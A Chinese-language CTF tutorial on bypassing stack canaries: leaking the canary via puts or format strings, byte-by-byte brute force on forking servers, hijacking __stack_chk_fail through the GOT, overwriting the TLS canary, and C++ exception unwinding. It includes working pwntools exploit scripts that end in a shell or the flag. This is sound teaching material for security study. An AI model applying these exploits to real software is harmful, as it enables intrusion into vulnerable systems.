Canary保护绕过

基本原理

之前学习的栈溢出,有很多都是没有限制输入长度或限制不严格的函数等向栈中写入构造的数据,传统的防御机制就是开启 Canary保护,Canary 实现和设计思想都比较简单, 就是插入一个值,在stack overflow发生的高危区域的栈空间尾部放入一串8字节的随机数据,当函数返回时检测Canary的值是否经过了改变,以此来判断stack/buffer overflow是否发生。若发生改变则说明栈被改变了,进入__stack_chk_fail。验证成功则跳到leave 和 ret正常的返回。

当程序启用Canary编译后,在函数序言部分会取fs寄存器0x28处的值,存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。 这个操作即为向栈中插入Canary值,代码如下:

mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

栈结构大致如下:

  High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address

函数返回之前会将该值取出并与 fs:0x28 的值进行异或,结果为0就说明canary未被修改,函数正常返回

xor    rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定。

绕过

泄露栈中的Canary

Canary设计以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串,简单点说就是正常情况下,不能被 printf 等输出函数输出,防止泄露。 泄露栈中的 Canary 的思路是覆盖 Canary 的最后一个字节”\x00”,来打印出剩余的 Canary 部分。

这种利用方式需要存在合适的输出函数或者通过格式化字符串泄露。可能需要第一次泄露Canary,之后再次溢出恢复Canary最后一位,才能控制执行流程。

题目:pwn1

检查保护能看到Canary开启,有栈溢出并且有puts函数,v6就是canary,可以考虑puts输出Canary

image-20231007111838924

Canary最低位设计为\x00,目的为截断字符串,通过栈溢出将canary最低位截断字符\x00覆盖,然后通过puts函数将输入的字符和剩余的canary输出,canary最低位补\x00就是canary的值。

sh = process("./babystack")
sh.sendlineafter('>> ','1')
sh.sendline('A'*0x88)

输入0x88字节数据后,加上最后一个\n将canary的最低位覆盖

sh.sendlineafter('>> ','2')  # 选择2,输出字符串
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00')) ## 对canary解析

puts输出

canary泄露后就是正常的栈溢出,通过one_gadget找到execve在动态链接库的地址

image-20231007112617224

​ 利用puts函数泄露出puts函数在程序中的地址,puts输出需要用到rdi来传递参数

image-20231007113720383

通过puts函数来找到execve的地址

最终代码

from pwn import *

elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

#sh = remote('61.147.171.105',62498)
sh = process("./babystack")

# 泄露canary地址
sh.sendlineafter('>> ','1')
sh.sendline(b'A'*0x88)
sh.sendlineafter('>> ','2')
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
print(hex(canary))

# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(real_puts))

# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216

# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
sh.interactive()

格式化字符串泄露Canary

题目:攻防世界-Mary_Morton

unsigned __int64 sub_4008EB()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x7FuLL);
printf(buf); //格式化字符串溢出
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_400960()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL); //栈溢出
printf("-> %s\n", buf);
return __readfsqword(0x28u) ^ v2;
}

canary保护

image-20231007131153404

可以利用字符串漏洞,泄露canary的值,在函数返回时填回去,之后利用栈溢出返回到后门函数

逐字节爆破Canary

每次进程重启后的Canary不同,但是同一进程中不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是相同的,子进程会继承父进程的Canary。当子进程由于Canary不正确导致程序崩溃时,父进程不会崩溃,利用这样的特点就可以在子进程逐个字节将Canary爆破出来,爆破模板如下:

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))

if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break

if i == 255:
print "[-] Exploit failed"
sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary

例题:

/**
* compile cmd: gcc source.c -m32 -o bin
**/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}

int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}

爆破脚本

from pwn import *
context.log_level = 'debug'

cn = process('./bin')

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

题目:ZCTF2017 Login

覆盖__stack_chk_fail 的GOT表项

def exploit():
offset = 0x50 # 0x4c + 0x4 sprintf写入字符串的长度为0x4c + ebp
offset_eax = 0x7a # 0xffffd216 - 0xffffd19c = 0x7a
# __stack_chk_fail GOT表中的地址,用于后面修改
payload = p32(binary.symbols['got.__stack_chk_fail']) # stack
# sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
payload += 'a' * (offset - 0x4) # stack+ebp = offset-0x4(got.__stack_chk_fail)
# 将返回地址覆盖为main函数地址,以便再次获得执行机会
payload += p32(binary.symbols['main']) # ret addr
# 填充一定字节直到可以覆盖format string
payload += 'a' * (offset_eax - offset + 0x4)# padding 0x26
# 将format string修改为如下内容
payload += r'%s:%39x%10$hhn' + '\x00' # r''中内容不进行转义处理
# %s 读取payload,使格式化字符串被覆盖
# %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
# 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
# 8 alarm
# 39 malloc

代码执行完后,__stack_chk_fail 的GOT被覆盖为malloc@plt,不会触发 Canary 机制,同时返回到 main

覆盖TLS中储存的Canary值

题目:StarCTF2018 babystack

__int64 __fastcall main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(byte_400C96);
puts(" # # #### ##### ######");
puts(" # # # # # #");
puts("### ### # # #####");
puts(" # # # # #");
puts(" # # # # # #");
puts(" #### # #");
puts(byte_400C96);
pthread_create(newthread, 0LL, start_routine, 0LL);
if ( pthread_join(newthread[0], 0LL) )
{
puts("exit failure");
return 1LL;
}
else
{
puts("Bye bye");
return 0LL;
}
}

pthread_create函数声明

#include <pthread.h>
int pthread_create(
pthread_t *restrict tidp, //新创建的线程ID指向的内存单元。
const pthread_attr_t *restrict attr, //线程属性,默认为NULL
void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行
void *restrict arg //默认为NULL。若上述函数需要参数,将参数放入结构中并将地址作为arg传入。
);

创建一个新的线程,该线程将执行start_routine函数,没有传递额外的参数,并将新线程的标识符存储在newthread中。

线程控制块结构就是pthread,结构体 tcbhead_t

// sysdeps\x86_64\nptl\tls.h

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;

int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; 存放单个线程的canary
uintptr_t pointer_guard;

...
} tcbhead_t;

tcb 指针和 self 指针,实际指向的都是同一个地址,即 struct pthread 结构体(亦或者是 struct tcbhead_t 本身,这两个结构体地址相同),所以可以用

x/x pthread_self()打印结构体的地址,快速找到stack_guardstack_guard 存放单个线程的canaryp/x pthread_self()打印canary
漏洞主要在start_routine中,在这个函数里有一个可以输入0x10000的漏洞

两次输入

1、栈溢出控制返回地址执行一个puts泄露libc地址,一个read,控制canary

2、向bss段写入one_gadget地址

c++异常机制绕过Canary

题目:Shanghai-DCTF-2017

第一个函数中,有一个异常捕获机制,但是在伪代码中并没有显示

__int64 sub_401500()
{
sub_401148();
sub_400F8F();
puts("bruteforcing start:");
while ( !(unsigned int)sub_4013AD() )
sleep(1u);
return 0LL;
}

实际上:

try{
sub_401148();
}
catch(int *_ZTIi){
...
}

在sub_401148()函数里面有一个整型溢出漏洞

__int64 __fastcall sub_400E76(__int64 a1, unsigned int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
{
*(_BYTE *)(i + a1) = 0;
return i + 1;
}
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(a2 - 1 + a1) = 0;
return i;
}

对输入加一后进行无符号整型强制转换

异常抛出

异常机制中,在编译一段 C++ 代码时,编译器会将所有 throw 语句替换为其 C++ 运行时库中的某一指定函数,这里我们叫它 __CxxRTThrowExp。该函数接收一个编译器认可的内部结构(我们叫它 EXCEPTION 结构)。这个结构中包含了待抛出异常对象的起始地址、用于销毁它的析构函数,以及它的 type_info 信息。对于没有启用 RTTI 机制(编译器禁用了 RTTI 机制或没有在类层次结构中使用虚表)的异常类层次结构,可能还要包含其所有基类的 type_info 信息,以便与相应的 catch 块进行匹配。

__CxxRTThrowExp 首先接收(并保存)EXCEPTION 对象;然后从 TLS:Current ExpHdl 处找到与当前函数对应的 piHandler、nStep 等异常处理相关数据;并按照前文所述的机制完成异常捕获和栈回退。由此完成了包括“抛出”->“捕获”->“回退”等步骤的整套异常处理机制。

异常捕获机制

一个异常被抛出时,就会立即引发 C++ 的异常捕获机制: 根据 c++ 的标准,异常抛出后如果在当前函数内没有被捕捉(catch),它就要沿着函数的调用链继续往上抛,直到走完整个调用链,或者在某个函数中找到相应的 catch。如果走完调用链都没有找到相应的 catch,那么std::terminate() 就会被调用,这个函数默认是把程序 abort,而如果最后找到了相应的 catch,就会进入该 catch 代码块,执行相应的操作。

程序中的 catch 那部分代码有一个专门的名字叫作:Landing pad(不十分准确),从抛异常开始到执行 landing pad 里的代码这中间的整个过程叫作 stack unwind,这个过程包含了两个阶段: 1)从抛异常的函数开始,对调用链上的函数逐个往前查找 landing pad。

2)如果没有找到 landing pad 则把程序 abort,否则,则记下 landing pad 的位置,再重新回到抛异常的函数那里开始,一帧一帧地清理调用链上各个函数内部的局部变量,直到 landing pad 所在的函数为止。

为了能够成功地捕获异常和正确地完成栈回退(stack unwind)

栈回退(Stack Unwind)机制

“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。

简单来说就是:如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样就能成功绕过canary的检查,而且进一步也能控制eip,去执行了stack_pivot中的rop

栈地址任意写绕过Canary检查

利用格式化字符串数组下标越界,实现栈地址任意写,不必连续向栈上写,直接写ebp和ret,这样不会触发canary check

参考